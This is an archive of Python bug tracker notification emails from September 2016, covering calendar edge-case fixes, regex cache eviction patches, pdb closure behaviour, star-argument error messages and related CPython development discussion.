Added file: http://bugs.python.org/file44850/issue28291.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28291>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:29:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 00:29:29 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <20160928002920.26118.85245.0193D9DE@psf.io>


Roundup Robot added the comment:

New changeset c439bce36bf2 by Alexander Belopolsky in branch '3.5':
Issue #28253: Fixed calendar functions for extreme months: 0001-01 and 9999-12.
https://hg.python.org/cpython/rev/c439bce36bf2

New changeset cd384c4b441a by Alexander Belopolsky in branch '3.6':
Issue #28253: Fixed calendar functions for extreme months: 0001-01 and 9999-12.
https://hg.python.org/cpython/rev/cd384c4b441a

New changeset bc285a9ecc58 by Alexander Belopolsky in branch 'default':
Issue #28253: Fixed calendar functions for extreme months: 0001-01 and 9999-12.
https://hg.python.org/cpython/rev/bc285a9ecc58

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:30:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 00:30:25 +0000
Subject: [issue11501] distutils.archive_util should handle absence of zlib
 module
In-Reply-To: <1300119578.93.0.647722087652.issue11501@psf.upfronthosting.co.za>
Message-ID: <1475022625.14.0.391158900929.issue11501@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11501>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:34:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 00:34:25 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <20160928003421.76027.69268.592DA10D@psf.io>


Roundup Robot added the comment:

New changeset 7efba48299e9 by Alexander Belopolsky in branch 'default':
Issue #28253: Added a NEWS entry.
https://hg.python.org/cpython/rev/7efba48299e9

New changeset 55f11196c949 by Alexander Belopolsky in branch '3.5':
Issue #28253: Added a NEWS entry.
https://hg.python.org/cpython/rev/55f11196c949

New changeset 1f1a085f533f by Alexander Belopolsky in branch '3.6':
Issue #28253: Added a NEWS entry.
https://hg.python.org/cpython/rev/1f1a085f533f

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:42:40 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 00:42:40 +0000
Subject: [issue27470] -3 commandline option documented differently via man
In-Reply-To: <1467994985.16.0.513883147731.issue27470@psf.upfronthosting.co.za>
Message-ID: <1475023360.95.0.708745316392.issue27470@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
keywords: +easy
nosy: +berker.peksag
stage:  -> needs patch
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27470>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:48:33 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 00:48:33 +0000
Subject: [issue26869] unittest longMessage docs
In-Reply-To: <1461743267.94.0.620093650485.issue26869@psf.upfronthosting.co.za>
Message-ID: <1475023713.67.0.10716640971.issue26869@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +berker.peksag
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26869>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:51:15 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 00:51:15 +0000
Subject: [issue28254] Add C API for gc.enable, gc.disable, and gc.isenabled
In-Reply-To: <1474611707.66.0.467568151114.issue28254@psf.upfronthosting.co.za>
Message-ID: <1475023875.95.0.92070776986.issue28254@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

>  I don't have a burning desire to get this in, 
> I just thought it would be a nice to have.

In that case, I think we should decline.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28254>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:54:43 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 00:54:43 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1475024083.7.0.0351171384416.issue27100@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> I don't see any problem with switching the lookup order now,
> and I agree that should be less confusing,

Thanks Nick.  I concur as well and will apply this.

Would it be reasonable to apply this to 3.6?  IMO, it isn't a new feature, it is more of a usability bug due to an oversight.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Tue Sep 27 20:56:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 00:56:56 +0000
Subject: [issue23155] unittest: object has no attribute '_removed_tests'
In-Reply-To: <1420313883.47.0.122520965169.issue23155@psf.upfronthosting.co.za>
Message-ID: <1475024216.12.0.252110818138.issue23155@psf.upfronthosting.co.za>


Berker Peksag added the comment:

The culprit is the ``test_suite='nose.collector'`` line here. It looks like this has already been fixed in nose: https://github.com/nose-devs/nose/issues/759

----------
nosy: +berker.peksag
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23155>
_______________________________________

From report at bugs.python.org  Tue Sep 27 22:22:30 2016
From: report at bugs.python.org (naught101)
Date: Wed, 28 Sep 2016 02:22:30 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475029350.91.0.288693694869.issue27873@psf.upfronthosting.co.za>


naught101 added the comment:

Happy to. What is the process? hg clone cpython, and make a patch from that and post it here? Or is there some pull-request style process available?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Tue Sep 27 22:30:15 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 02:30:15 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475029815.66.0.215306963539.issue27873@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> What is the process? hg clone cpython, and make a patch from that and post it here?

Yes, it's exactly what you just described :) See https://docs.python.org/devguide/index.html for details.

> Or is there some pull-request style process available?

Not yet, but we will move to GitHub soon.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Tue Sep 27 22:35:18 2016
From: report at bugs.python.org (naught101)
Date: Wed, 28 Sep 2016 02:35:18 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475030118.08.0.924393566666.issue27873@psf.upfronthosting.co.za>


naught101 added the comment:

OK, one question, is Pool.map preferable to Pool.starmap in any particular cases?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Tue Sep 27 22:45:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 02:45:13 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <20160928024510.95017.21504.7EBB92C3@psf.io>


Roundup Robot added the comment:

New changeset f2aff898f7c8 by Alexander Belopolsky in branch '2.7':
Issue #28253: Fixed calendar functions for extreme months: 0001-01 and 9999-12.
https://hg.python.org/cpython/rev/f2aff898f7c8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 22:49:26 2016
From: report at bugs.python.org (naught101)
Date: Wed, 28 Sep 2016 02:49:26 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475030966.71.0.206004279863.issue27873@psf.upfronthosting.co.za>


naught101 added the comment:

Here you go.

----------
keywords: +patch
Added file: http://bugs.python.org/file44851/mp.map.starmap.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:01:58 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 03:01:58 +0000
Subject: [issue28292] Make Calendar.itermonthdates() behave consistently in
 edge cases
Message-ID: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The Calendar.itermonthdates() method is defined as follows:

"Return an iterator for one month. The iterator will yield datetime.date values and will always iterate through complete weeks, so it will yield dates outside the specified month."

However, for the two months at the extremes of datetime.date range, 0001-01 and 9999-12, the dates outside the specified month may not be representable as datetime.date instances.

The current implementation is inconsistent: itermonthdates(1, 1) may raise an OverflowError (see #26650), while itermonthdates(9999, 12) may yield an incomplete week (see #28253.)

This issue supersedes #26650 and #28253.

----------
assignee: belopolsky
messages: 277577
nosy: belopolsky, jiangping.li, rhettinger, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: test needed
status: open
title: Make Calendar.itermonthdates() behave consistently in edge cases
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:02:52 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 03:02:52 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1475031772.65.0.545366208672.issue28253@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
superseder:  -> Make Calendar.itermonthdates() behave consistently in edge cases

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:04:31 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 03:04:31 +0000
Subject: [issue26650] calendar: OverflowErrors for year == 1 and firstweekday
 > 0
In-Reply-To: <1459071536.92.0.968744515291.issue26650@psf.upfronthosting.co.za>
Message-ID: <1475031871.32.0.793805563164.issue26650@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Make Calendar.itermonthdates() behave consistently in edge cases

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26650>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:05:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 03:05:06 +0000
Subject: [issue28292] Make Calendar.itermonthdates() behave consistently in
 edge cases
In-Reply-To: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>
Message-ID: <1475031906.69.0.964161499468.issue28292@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
dependencies: +calendar.prcal(9999) output has a problem, calendar: OverflowErrors for year == 1 and firstweekday > 0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Tue Sep 27 23:57:15 2016
From: report at bugs.python.org (Chun-Yu Tseng)
Date: Wed, 28 Sep 2016 03:57:15 +0000
Subject: [issue26072] pdb fails to access variables closed over
In-Reply-To: <1452402984.12.0.000738362264887.issue26072@psf.upfronthosting.co.za>
Message-ID: <1475035035.28.0.975423141287.issue26072@psf.upfronthosting.co.za>


Chun-Yu Tseng added the comment:

What Antony Lee mentioned are two different cases. 

The former is what PDB should behave because it is not reasonable to inspect a variable does not exist in the current frame. If you want to do so, you have to reference the variable `x` as a closure inside inner function `g` in your source code before running PDB.

The latter is same as what Jes?s G?mez confirmed. It's a problem about creating correct closures in an interaction prompt of PDB. It can be found in almost every versions of Python. The following are several forms of the problem:


# (1) raise exception 

  1      def f():
  2          x = 2
  3  ->        import pdb; pdb.set_trace();
(Pdb) (lambda: x)()
*** NameError: name 'x' is not defined


# (2) no exception, but get the wrong value

  1      x = 100
  2      def f():
  3          x = 2
  4  ->        import pdb; pdb.set_trace();
  5      f()
(Pdb) x
2
(Pdb) (lambda: x)()
100


# (3) similar to (1), but this one usually makes me upset if I forget the cause of the problem

(Pdb) ll
  1      def f():
  2  ->        import pdb; pdb.set_trace();
(Pdb) x = 5
(Pdb) [i for i in range(10) if (i % x) == 0]
*** NameError: name 'x' is not defined
(Pdb) x
5


It's easy to alleviate the problem by using `interact` command to start an interactive interpreter.

  1      def f():
  2  ->        import pdb; pdb.set_trace();
(Pdb) x = 5
(Pdb) interact
*interactive*
>>> [i for i in range(10) if (i % x) == 0]
[0, 5]

Now the behavior looks right.

However, the problem still exists for those PDB users don't know how to pass it, and it's quite inconvenient to start an interactive interpreter every time. Maybe it's worth to keep the behavior of PDB consistent and expectable just like the behavior inside interactive interpreter.

I will try to send a patch to solve the problem in these days. Please stop me if it's inappropriate.

----------
nosy: +Chun-Yu Tseng
versions: +Python 2.7, Python 3.3, Python 3.4, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26072>
_______________________________________

From report at bugs.python.org  Wed Sep 28 00:26:40 2016
From: report at bugs.python.org (Roy Williams)
Date: Wed, 28 Sep 2016 04:26:40 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475036800.41.0.416347942196.issue28288@psf.upfronthosting.co.za>


Roy Williams added the comment:

@Brett @Berker In a similar vein, it'd be great to expose the `-b` flag in Python 3 in a similar manner to test for invalid byte comparisons.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Wed Sep 28 00:49:29 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 04:49:29 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
Message-ID: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

When the regex cache gets filled, it is cleared in its entirety.  Instead, it only needs to evict one arbitrary entry.  This will save the us from having to rebuild and recache frequently used regexes.

----------
assignee: serhiy.storchaka
components: Library (Lib)
files: re_cache_pop.diff
keywords: patch
messages: 277580
nosy: rhettinger, serhiy.storchaka
priority: low
severity: normal
stage: patch review
status: open
title: Don't completely dump the regex cache when full
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44852/re_cache_pop.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 00:54:25 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 04:54:25 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <1475038465.8.0.873164776351.issue28289@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Brett.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Wed Sep 28 01:00:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 05:00:00 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475038800.91.0.51852402711.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------
assignee: serhiy.storchaka -> rhettinger
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 01:06:30 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 05:06:30 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475039190.17.0.209640650969.issue28293@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

But with the compact dict implementation, popitem is not going to evict an arbitrary entry but always the last one. Will this cause two interchangeably used regexes always need to recompile?

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 01:24:06 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 05:24:06 +0000
Subject: [issue28292] Make Calendar.itermonthdates() behave consistently in
 edge cases
In-Reply-To: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>
Message-ID: <1475040246.2.0.49970330389.issue28292@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Possible solutions (in any case the documentation needs changes):

1. Raise OverflowError at both ends (revert issue15421patch). The method becomes unusable for two extreme months.

2. Yield an incomplete week at both ends (apply the patch from issue26650). This can cause silent producing incorrect result in third-party programs.

3. Yield None for unrepresentable dates. This is more useful than raising OverflowError, and noisily fails, but third-party code should be changed to support extreme cases.

4. Yield dummy date instance for unrepresentable dates (apply the patch from issue28253). If we are lucky, the third-party code will just work, without any changes. If we are not lucky, this makes debugging harder.

5. Make datetime.date supporting a date outside current limits. This is a can of worms (numbering years B.D., output and parsing dates with negative and more than 4-digit years).

Examples of the usage of itermonthdates():

https://github.com/sunlightlabs/django-locksmith/blob/master/locksmith/hub/dataviews.py
https://github.com/quandyfactory/Quandy/blob/master/quandy.py
https://github.com/takanory/plone.app.event/blob/master/plone/app/event/portlets/portlet_calendar.py
https://github.com/gerow/gnome-shell-google-calendar/blob/master/gnome-shell-google-calendar.py
https://bitbucket.org/benallard/msgboard/src/1c08fa3ba040f8151d0e28130b01b30e0595e448/msgboard/controller.py?at=default

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Wed Sep 28 01:30:29 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 05:30:29 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475040628.99.0.488718491127.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Nice catch! Here is a patch that deletes the first key.

----------
stage: commit review -> patch review
Added file: http://bugs.python.org/file44853/re_cache_del_first.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 01:46:46 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 05:46:46 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475041606.1.0.871468758915.issue28293@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Perhaps:  _cache.pop(next(iter(_cache)))

The for-loop version indirect about what it is trying to do and relies on an obscure quirk of exactly when it is an error to mutate while iterating.

I do like that the side-effect of the compact dict is that is lets us choose the oldest entry to evict.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:01:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 06:01:35 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475042495.84.0.55615946256.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> Perhaps:  _cache.pop(next(iter(_cache)))

This can raise KeyError if the cache is cleared in other thread. And it is a little slower.

I remember why I didn't propose this idea earlier. This depends on the ordering of dict. But this is implementation detail, and in other Python implementation this can cause recompiling two interchangeably used regexes. No, this no longer LGTM.

Maybe use OrderedDict? But this adds heavy dependency to the re module.

Yet one idea: use two caches. Look first in the one cache, then in the other. When the first cache full, clear the second cache and swap caches.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:14:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 06:14:01 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475043241.74.0.106226158645.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> Maybe use OrderedDict? But this adds heavy dependency to the re module.

We can use the same trick as in the enum module. Here is a patch.

----------
Added file: http://bugs.python.org/file44854/re_cache_ordered_dict_del_first.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:20:00 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 06:20:00 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475043600.87.0.0520022021715.issue28293@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Why not OrderedDict.popitem(last=False)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:25:49 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 06:25:49 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475043949.19.0.99186944578.issue28293@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This has gotten crazy.  I withdraw the suggestion.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:30:39 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 06:30:39 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475044239.69.0.183863625367.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> Why not OrderedDict.popitem(last=False)?

Yes, this should work. Here is a patch.

----------
Added file: http://bugs.python.org/file44855/re_cache_ordered_dict_popitem.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 02:50:52 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 28 Sep 2016 06:50:52 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1475045452.61.0.755698036036.issue27100@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

+1 for 3.6 from me - as you say, this is fixing a usability bug in the error handling rather than being a new feature.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Wed Sep 28 03:08:24 2016
From: report at bugs.python.org (Jaap van der Velde)
Date: Wed, 28 Sep 2016 07:08:24 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
Message-ID: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>


New submission from Jaap van der Velde:

On line 556 of server.py, the sys.stderr.write assumes that sys.stderr is assigned and not None.

However, when developing Windows services using the pypiwin32 library (as an example), sys.stderr == None

A workaround is to override the log_message method of the BaseHTTPRequestHandler, but it seems to me that the method should not assume the availability of stderr?

----------
components: Library (Lib)
messages: 277593
nosy: grismar
priority: normal
severity: normal
status: open
title: HTTPServer server.py assumes sys.stderr != None
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Wed Sep 28 04:09:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 08:09:30 +0000
Subject: [issue28257] Regression for star argument parameter error messages
In-Reply-To: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>
Message-ID: <1475050170.41.0.0331019534448.issue28257@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Proposed patch fixes error message for var-positional arguments. It adds new opcode BUILD_TUPLE_UNPACK_WITH_CALL.

>>> min(1, *2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: min() argument after * must be an iterable, not int
>>> min(*[1], *2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: min() argument after * must be an iterable, not int

----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44856/built_tuple_unpack_with_call.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Wed Sep 28 04:11:06 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 08:11:06 +0000
Subject: [issue28295] PyUnicode_AsUCS4 doc and impl conflict on exception
Message-ID: <1475050266.78.0.386373068592.issue28295@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

PyUnicode_AsUCS4 declares to raise ValueError if buffer length is smaller than string length. But now the implementation raises SystemError.

----------
components: Interpreter Core
messages: 277595
nosy: haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
status: open
title: PyUnicode_AsUCS4 doc and impl conflict on exception
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28295>
_______________________________________

From report at bugs.python.org  Wed Sep 28 04:43:05 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 28 Sep 2016 08:43:05 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475052185.95.0.995452308483.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Updated with small refactoring.
Confirmed passes quicktest and no warning from clang on OS X.

----------
Added file: http://bugs.python.org/file44857/dict_iter3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:14:43 2016
From: report at bugs.python.org (Manuel Krebber)
Date: Wed, 28 Sep 2016 09:14:43 +0000
Subject: [issue28296] Add __le__ and __ge__ to collections.Counter
Message-ID: <1475054083.73.0.310763027677.issue28296@psf.upfronthosting.co.za>


New submission from Manuel Krebber:

I would really like there to be comparison operators for collection.Counter similar to the ones for sets. While you can now use minus to some degree for that comparison, it is very inefficient. I have attached an implementation of __ge__ and __le__ as a patch. I could also provide the necessary additions to the documentation, if that is desired.

----------
components: Library (Lib)
files: counter_comparison.patch
keywords: patch
messages: 277597
nosy: Wheerd
priority: normal
severity: normal
status: open
title: Add __le__ and __ge__ to collections.Counter
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44858/counter_comparison.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28296>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:18:28 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 09:18:28 +0000
Subject: [issue28296] Add __le__ and __ge__ to collections.Counter
In-Reply-To: <1475054083.73.0.310763027677.issue28296@psf.upfronthosting.co.za>
Message-ID: <1475054308.94.0.239017890001.issue28296@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is a duplicate of issue22515.

----------
nosy: +rhettinger, serhiy.storchaka
resolution:  -> duplicate
superseder:  -> Implement partial order on Counter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28296>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:23:45 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Wed, 28 Sep 2016 09:23:45 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
